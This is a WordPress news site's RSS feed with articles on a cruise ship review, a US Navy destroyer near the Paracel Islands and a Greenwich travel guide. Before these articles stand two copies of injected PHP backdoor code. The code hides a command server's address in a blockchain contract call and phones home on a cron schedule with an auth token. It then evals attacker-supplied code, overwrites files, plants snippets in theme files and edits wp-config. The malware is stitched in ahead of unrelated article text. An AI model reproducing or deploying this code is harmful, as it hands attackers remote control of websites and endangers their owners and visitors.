// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Maritime – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 13 Nov 2018 21:30:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Maritime – Brief News https://briefnews.eu 32 32 Cruise & Maritime Voyages 'Columbus': Cabins, dining, entertainment & prices explained https://briefnews.eu/cruise-maritime-voyages-columbus-cabins-dining-entertainment-prices-explained/ https://briefnews.eu/cruise-maritime-voyages-columbus-cabins-dining-entertainment-prices-explained/#respond Tue, 13 Nov 2018 21:30:22 +0000 http://briefnews.eu/cruise-maritime-voyages-columbus-cabins-dining-entertainment-prices-explained/

Cruise & Maritime Voyages has a fleet of six much-loved ships that are quietly comfortable rather than frantically modern, with most of them designed to please their mainly British passengers.

Flagship Columbus is based at Tilbury with Marco Polo offering departures from other British ports such as Bristol, Cardiff, Portsmouth, Newcastle and Rosyth – as well as Tilbury – and Astoria departing from Poole, Portsmouth and Hull.

Magellan will be based in Mexico from January to April 2019, then returning to Britain and a host of regional departures including Newcastle, Dundee, Liverpool and Dublin, while Astor will make its now traditional trip from Australia to the UK in spring 2019, having sailed from Tilbury to Australia in autumn 2018. Meanwhile the company’s new ship, Vasco de Gama, will leave Singapore for Amsterdam on its maiden voyage for CMV before concentrating on the German market.

Marco Polo and Astoria are child-free ships, although teenagers 16 and above can travel with adults, while Columbus and Magellan operate on similar lines except during school holidays when some multi-generational cruises are on offer. There are also special programmes of events for solo passengers on cruises of six nights or more, so that they can meet other single people and get together in groups.

THE WOW FACTOR

This has to be the value for money that all CMV cruises offer. There are no whizz bang features on Columbus although it has a lovely layout, thanks to its previous life as a Princess Cruises ship among other cruise lines, but there’s a real feelgood feeling onboard.

This is partly because of the prices, with special discounts and buy one get one half price offers ensuring the ship is always pretty full and quite lively.

There are also limited numbers of half-price fares for solo travellers, so they don’t have to pay for double occupancy, and children’s fares are from £99 when sharing with two adults during the multi-generational cruises. Very reasonable bar prices add to the general good value vibe – a bottle of Cabernet Sauvignon Merlot red wine costs £15 – and there are no service charges in the bars, shops or spa.

Best of all, for the British market at least, there are no compulsory gratuities to pay, although you’re encouraged to tip staff for good service.

THE LIFESTYLE

Relaxed and easy going sums up life onboard Columbus, where the dress code is pretty casual during the day and smart casual in the evening with just one formal night on a week-long cruise.

Although most passengers jump ship for excursions when in port, there are always activities on offer such as power walking on deck in the morning or a quiz in the Connexions Bar – often morning and afternoon.

Other activities include Darts Get-Togethers in the Observation Lounge and even Bean Bag Bowls and Chairobics – nothing too difficult so it’s very inclusive. This is partly because sometimes days in port can be limited to a long half a day, although there may also be late departures to give you time for a drink in local bars.

On sea days there’s a full programme of mainly traditional cruise activities such as bridge, quoits, shuffleboard and bingo – mostly free. Columbus doesn’t claim to be sophisticated or bang up to date but passengers seem to be happy with that – there’s very little moaning onboard.

STATEROOMS

Columbus has several categories of cabins, as it still calls them, with four types of Inner cabins, nine of Ocean View cabins (outside, with windows), two styles of Balcony cabins and a choice of five cabin categories available to singles.

Most are 188sq ft (17.50sq m) with just the Standard Single Ocean View smaller at 146sq ft (13.50sq m) and the Junior Balcony Suite larger at 372sq ft (34.50sq m), so there is plenty of space.

All have ensuite shower rooms (there’s also a bath in the suites) with a walk-in wardrobe that includes plenty of drawers. Air conditioning, flat-screen TVs, fridge, hairdryers and a safe are standard to all categories and some cabins have third and even fourth berths.

All are comfortable, with new carpets and upholstery installed during its June 2017 refit, when the ship joined CMV. However, the bathrooms are small and basic, with some in need of an upgrade, and the toiletries on offer are basic – so you may prefer to take your own.

But this is a good ship for singles thanks to its large choice of solo cabins, it also has cabins adapted for wheelchair users and there are some inter-connecting cabins for families or groups.

DINING

The Waterfront is the main dining room with an interior that manages to feel glamourous but not glitzy and there are no fixed places so you can sit by the window for lunch and in an alcove-like area for dinner if you like. This restaurant also has a paid-for Chef’s Table, which seats 14 for an eight-course degustation menu that costs £49 each.

The Plantation buffet restaurant has a modern interior design style with dividers between the food stations and seating areas full of nice but fake potted plants and other knick-knacks, to give it a homely feeling, and diner-like counters and tall stools as well as traditional seating.

There are also two speciality restaurants with cover charges: The Grill serves steak, rack of lamb, Scottish salmon or free-range chicken, with a choice of starters, for £14.90.

But it’s Fusion, the Indian restaurant, that is stand-out superb. Yes, you can get brilliant curry in the buffet or main dining room any day of the week but Fusion takes things to another level.

At £14.90 per person, this small restaurant attached to the buffet is as good as anything you’ll get on any of the luxury lines. The menu starts with a selection of appetisers such as samosas, then you choose your own main course – classics such as Lamb Rogan Josh or Tamarind and Chili Glazed Prawns – followed by a plate of sweets such as dates stuffed with Baileys and white chocolate. All the spices are from India, not a Western supermarket, and you can really taste the difference: it’s outstanding.

Other dining options include afternoon tea – hard to catch if you’re off the ship – burgers and the like from the Pool Grill, room service (mostly paid-for) and the coffee shop Hemingways where you can buy premium tea, coffee and cake.

ENTERTAINMENT

There are no West End-style shows but there are cabarets, comedians and reviews and, best of all, themed cruises featuring retired sports stars, veteran pop stars or British actors from television’s 1970s glory days.

Particularly good are the Cricketing Legends themed cruises hosted by Nick Hancock of They Think It’s All Over. Former England captain Mike Gatting is often among the cricketers joining in quiz shows as well as taking part in serious on-stage interviews and meeting fans for photographs and autographs in the bar.

Other themed cruises for 2019 include the 75th D-Day Anniversary cruise, Rouen Armada & River Seine cruise and Christmas & New Year cruises.

FACT BOX

Columbus sails from London Tilbury on its Grand Round the World Cruise in January 2019, returning from Auckland in February and is back at Tilbury in May for round-Britain and northern Europe cruises plus a couple of Canary Islands trips.

Cruises with the stars include a seven-night Fjordland Splendour return-trip from Tilbury on September 29 featuring The Three Degrees as well as calls at Amsterdam then on to Norway’s Eidfjord, Flam and Bergen with scenic cruising in Hardangerfjord and Sognefjord.

Twin inner cabins are available from £929 for the first person and £464 for the second person, two sharing (0844 998 9530; cruiseandmaritime.com).

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]]> https://briefnews.eu/cruise-maritime-voyages-columbus-cabins-dining-entertainment-prices-explained/feed/ 0 US destroyer challenges Beijing’s ‘excessive maritime claims’ in South China Sea – report https://briefnews.eu/us-destroyer-challenges-beijings-excessive-maritime-claims-in-south-china-sea-report/ https://briefnews.eu/us-destroyer-challenges-beijings-excessive-maritime-claims-in-south-china-sea-report/#respond Tue, 10 Oct 2017 23:38:30 +0000 http://briefnews.eu/us-destroyer-challenges-beijings-excessive-maritime-claims-in-south-china-sea-report/

The USS Chafee navy destroyer has sailed near the disputed Paracel Islands in the South China Sea in a so-called “freedom of navigation” operation, which, according to military officials cited by Reuters, was conducted to challenge China’s “excessive claims.”

The USS Chafee sailed past the Paracel Islands Tuesday, US military officials told Reuters on condition of anonymity. The destroyer reportedly sailed outside of, but “very close,” to the 12-nautical-mile territorial limits of the islands which are claimed by China and its neighbors.

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FIL PHOTO: The Arleigh Burke-class guided-missile destroyer USS Stethem © U.S. Navy

The mission was undertaken to challenge “excessive maritime claims” in the region, according to the officials. The destroyer, an active unit of the US Pacific Fleet, reportedly departed Hong Kong Monday.

The South China Sea is a highly contested resource-rich region comprising many small uninhabited islets, whose ownership are disputed by several nations. The Paracel Islands archipelago are claimed by China, Taiwan and Vietnam, while the Spratly islets are contested by the Philippines, Malaysia and Brunei.

US ships have frequently sailed past the disputed islets as a part of so-called “freedom of navigation” operations. US Navy visits, as well as flights of American surveillance planes have been denounced in Beijing, which has repeatedly accused Washington of violating Chinese interests in the region as well as freedom of merchant navigation.

“Many people are very concerned about the frequent US military activities at sea, which damage the freedom and safety of navigation. We hope that the United States will pay attention to and properly handle this issue,” Chinese Foreign Ministry spokesperson Hua Chunying said in August, following an incident involving the the USS John S. McCain.

READ MORE: Armed Chinese jets drive off US spy plane over Yellow Sea

The destroyer was damaged and partly flooded after a collision with an oil tanker near Singapore, east of the Strait of Malacca. Ten US sailors were killed in the collision and several others injured. It was the latest in the chain of incidents which has plagued the US Navy in 2017.

In June, seven US sailors were killed in a collision between the destroyer USS Fitzgerald and a container ship some 56 nautical miles southwest of Yokosuka, Japan. Another notable incident involving US Navy ships occurred in January, when the guided-missile cruiser USS Antietam ran aground in Tokyo Bay. While no one was injured in the incident, the ship spilled 1,100 gallons of hydraulic oil into the sea.

READ MORE: US Navy recovers remains of all 10 sailors killed in USS John S. McCain collision

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]]> https://briefnews.eu/us-destroyer-challenges-beijings-excessive-maritime-claims-in-south-china-sea-report/feed/ 0 Greenwich: Stand on the meridian line and explores our maritime history in London https://briefnews.eu/greenwich-stand-on-the-meridian-line-and-explores-our-maritime-history-in-london/ https://briefnews.eu/greenwich-stand-on-the-meridian-line-and-explores-our-maritime-history-in-london/#respond Sun, 10 Sep 2017 01:06:37 +0000 http://briefnews.eu/greenwich-stand-on-the-meridian-line-and-explores-our-maritime-history-in-london/

Sir Christopher Wren’s magnificent Old Royal Naval College situated beside the Thames is the jewel in the crown, but history and science buffs are spoilt for choice.

You can take the wheel of the Cutty Sark tea clipper built in 1869 and the fastest ship of her day.

There are tours led by actors playing sailors from the past, and you can take tea in the on-board cafe.

There’s more seagoing history at the National Maritime Museum, including the 1930s boat Miss Britain III which was the precursor of revolutionary Second World War naval craft.

Enjoy the novelty of standing on the Meridian line, or visit the Planetarium and Astronomy Centre at the Royal Observatory where you can see some of the most important clocks ever made, whose accuracy enabled ships to determine their position at sea and keep crews safe.

The Queen’s House in Greenwich Park was built for James I’s wife Anne of Denmark, and is one of the most important classical buildings in the country.

It now houses a magnificent art collection, including works by Hogarth, Gainsborough and LS Lowry.

DO

If you can wait until next month, a Ceiling Tour of the Painted Hall of the Old Royal Naval College (ornc.org/closed until October 21) should be on every visitor’s agenda.

The Baroque ceiling and wall decorations celebrating Britain’s trade and naval successes were painted by Sir James Thornhill between 1707 and 1726, and are currently being restored.

Climb 60ft up to an observation deck for an up-close view of Thornhill’s incredible work and find out how the conservators are cleaning and stabilising the pictures to keep them safe for future generations.

Greenwich Market, dating from 1737, was renovated last year and has been given a new glass roof and food market, Fry’s Court.

The market has a brilliant selection of street food from all over the world, a selection of antiques and art stalls and some great fashion and design shops.

EAT

The Cutty Sark pub (020 8858 3146/ cuttysarkse10.co.uk) at Ballast Quay is three storeys of Georgian magic right by the Thames.

If you can bag a table in the windows at the front or the outdoor terrace by the river, you’ll have wonderful views as you enjoy innovative dishes from a superior gastropub menu.

Try house smoked sea trout with pickled fennel, wild nettle volute and mussels (£16.50).

There is also an interesting cocktail menu.

STAY

DoubleTree by Hilton London Greenwich (020 8469 4440/doubletree3.hilton.com) was a police headquarters in the 1940s which been remodelled as a glamorous boutique-style hotel.

The spacious bedrooms are decorated in muted tones with crushed velvet furnishings. Book a suite on the upper floor for views across London’s skyline.

The luxurious feel continues in the cosy bar with its coloured velvet armchairs, and the 01 Restaurant – located in what was a police shooting gallery – has furnishings echoing a ship’s interior, and a projection of an aquarium on one of the walls. l Doubles from £63.

FASCINATING FACT

Lord Nelson’s body lay in state in the Painted Hall after his death at the Battle of Trafalgar in 1805.

Thousands of mourners came to file past the coffin; Nelson’s body had been brought back from the battle in a cask of brandy, then a lead-lined coffin filled with spirits of wine, in order to preserve it.

INFORMATION

Greenwich tourism: 020 3040 2267/visitgreenwich.org.uk

